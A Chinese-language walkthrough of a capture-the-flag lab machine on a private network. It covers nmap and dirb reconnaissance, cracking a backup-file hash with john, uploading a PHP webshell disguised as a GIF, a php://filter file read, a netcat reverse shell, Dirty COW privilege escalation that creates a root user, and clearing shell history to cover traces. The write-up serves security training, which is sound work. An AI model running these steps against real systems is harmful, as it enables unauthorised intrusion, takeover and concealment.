一、前期准备
1.靶机下载
链接: 百度网盘 请输入提取码 提取码: z37y
2.用命令ifconfig查看kali
二、信息收集
1.主机发现,使用nmap命令
具体使用方法:nmap -sP 192.168.101.0/24
2.查看该靶机开放了哪些端口
nmap -A 192.168.101.109
直接访问80端口
3.用dirb命令,扫描隐藏文件或者网址
(1)使用 dirb http://192.168.101.109,扫描到一个development
三、发现漏洞并利用
1.备份文件.bak
寻找Linux里面以.bak结尾的备份文件:dirb http://192.168.101.109 -X .bak
将扫到的文件,使用curl命令查看一下:curl http://192.168.101.109/index.html.bak
发现是个加密文件,需要解密一下。
先创建一个txt文件,然后将.bak文件中frank那句内容复制到txt文件里面
点击右键打开终端
2.使用john
使用 john s.txt --show 破解,得到用户密码
尝试登录刚才收集到网站
3.webshel.php伪装成gif文件
1.加上/uploader,登录该网站,发现可以上传文件
2.在webshell.php里面的开头加入GIF87a,ctrl+s保存
3.把webshell.php改成web.gif,点重命名保存。
4.将改好的文件上传
虽然已经上传成功了,但是上传的路径尚未知道
先看一下http://192.168.101.109网站8011端口
啥也没有,再用dirb命令扫描它:dirb http://192.168.101.109:8011,发现了一个api的目录
猜测files_api.php是文件读取的接口
hackbar插件-链接: 百度网盘 请输入提取码 提取码: ktri
添加插件
页面提示需要给网址传递一个参数
尝试使用get传参,发现失败了然后使用post传参,发现post传参可行
试试传参给刚才上传的网址:file=/var/www/development/uploader/upload.phpphp://filter协议加密:php://filter/convert.base64-encode/resource=将得出的字符串进行base64解密:
PD9waHAKJHRhcmdldF9kaXIgPSAiRlJBTkt1cGxvYWRzLyI7CiR0YXJnZXRfZmlsZSA9ICR0YXJnZXRfZGlyIC4gYmFzZW5hbWUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bIm5hbWUiXSk7CiR1cGxvYWRPayA9IDE7CiRpbWFnZUZpbGVUeXBlID0gc3RydG9sb3dlcihwYXRoaW5mbygkdGFyZ2V0X2ZpbGUsUEFUSElORk9fRVhURU5TSU9OKSk7Ci8vIENoZWNrIGlmIGltYWdlIGZpbGUgaXMgYSBhY3R1YWwgaW1hZ2Ugb3IgZmFrZSBpbWFnZQppZihpc3NldCgkX1BPU1RbInN1Ym1pdCJdKSkgewogICAgJGNoZWNrID0gZ2V0aW1hZ2VzaXplKCRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJ0bXBfbmFtZSJdKTsKICAgIGlmKCRjaGVjayAhPT0gZmFsc2UpIHsKICAgICAgICBlY2hvICJGaWxlIGlzIGFuIGltYWdlIC0gIiAuICRjaGVja1sibWltZSJdIC4gIi4iOwogICAgICAgICR1cGxvYWRPayA9IDE7CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gIkZpbGUgaXMgbm90IGFuIGltYWdlLiI7CiAgICAgICAgJHVwbG9hZE9rID0gMDsKICAgIH0KfQovLyBDaGVjayBpZiBmaWxlIGFscmVhZHkgZXhpc3RzCmlmIChmaWxlX2V4aXN0cygkdGFyZ2V0X2ZpbGUpKSB7CiAgICBlY2hvICJTb3JyeSwgZmlsZSBhbHJlYWR5IGV4aXN0cy4iOwogICAgJHVwbG9hZE9rID0gMDsKfQovLyBDaGVjayBmaWxlIHNpemUKaWYgKCRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJzaXplIl0gPiA1MDAwMDApIHsKICAgIGVjaG8gIlNvcnJ5LCB5b3VyIGZpbGUgaXMgdG9vIGxhcmdlLiI7CiAgICAkdXBsb2FkT2sgPSAwOwp9Ci8vIEFsbG93IGNlcnRhaW4gZmlsZSBmb3JtYXRzCmlmKCRpbWFnZUZpbGVUeXBlICE9ICJqcGciICYmICRpbWFnZUZpbGVUeXBlICE9ICJwbmciICYmICRpbWFnZUZpbGVUeXBlICE9ICJqcGVnIgomJiAkaW1hZ2VGaWxlVHlwZSAhPSAiZ2lmIiApIHsKICAgIGVjaG8gIlNvcnJ5LCBvbmx5IEpQRywgSlBFRywgUE5HICYgR0lGIGZpbGVzIGFyZSBhbGxvd2VkLiI7CiAgICAkdXBsb2FkT2sgPSAwOwp9Ci8vIENoZWNrIGlmICR1cGxvYWRPayBpcyBzZXQgdG8gMCBieSBhbiBlcnJvcgppZiAoJHVwbG9hZE9rID09IDApIHsKICAgIGVjaG8gIlNvcnJ5LCB5b3VyIGZpbGUgd2FzIG5vdCB1cGxvYWRlZC4iOwovLyBpZiBldmVyeXRoaW5nIGlzIG9rLCB0cnkgdG8gdXBsb2FkIGZpbGUKfSBlbHNlIHsKICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsKICAgICAgICBlY2hvICJUaGUgZmlsZSAiLiBiYXNlbmFtZSggJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bIm5hbWUiXSkuICIgaGFzIGJlZW4gdXBsb2FkZWQgdG8gbXkgdXBsb2FkcyBwYXRoLiI7CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gIlNvcnJ5LCB0aGVyZSB3YXMgYW4gZXJyb3IgdXBsb2FkaW5nIHlvdXIgZmlsZS4iOwogICAgfQp9Cj8
访问http://192.168.101.109/development/uploader/FRANKuploads/web.gif,发现可以访问,路径对了
在kali上面开启监听:nc -lvvp 4444
读取文件,建立反向连接
查看kali那边,发现已经监听成功
优化命令执行终端,执行下面命令进入python交互式(注意要下载python环境才能运行):
python -c ‘import pty;pty.spawn(“/bin/bash”)’
四、提权
脏牛提权使用范围:内核版本>=2.4.22(截止到2016年10月18日)
脏牛提权要用到的脚本链接: 百度网盘 请输入提取码 提取码: tf3n
1.查看当前用户权限:id、查看当前版本号:uname -a
查看有哪些目录及其权限
进入到www-date用户的a文件:
发送方:nc 192.168.101.109 1234 < dirty.c
接收方:nc -l 1234 >dirty.c
开启一个新的监听
查看一下是否上传成功,发现刚才上传的脏牛脚本
执行命令:gcc -pthread dirty.c -o dirty -lcrypt
./dirty (启动脚本)123456(密码)
远程连接:ssh firefart@192.168.101.109
查看用户权限:id
第二个flag
使用命令history -c
或者
清理痕迹,恢复passwd文件,命令:mv /tmp/passwd.bak /etc/passwd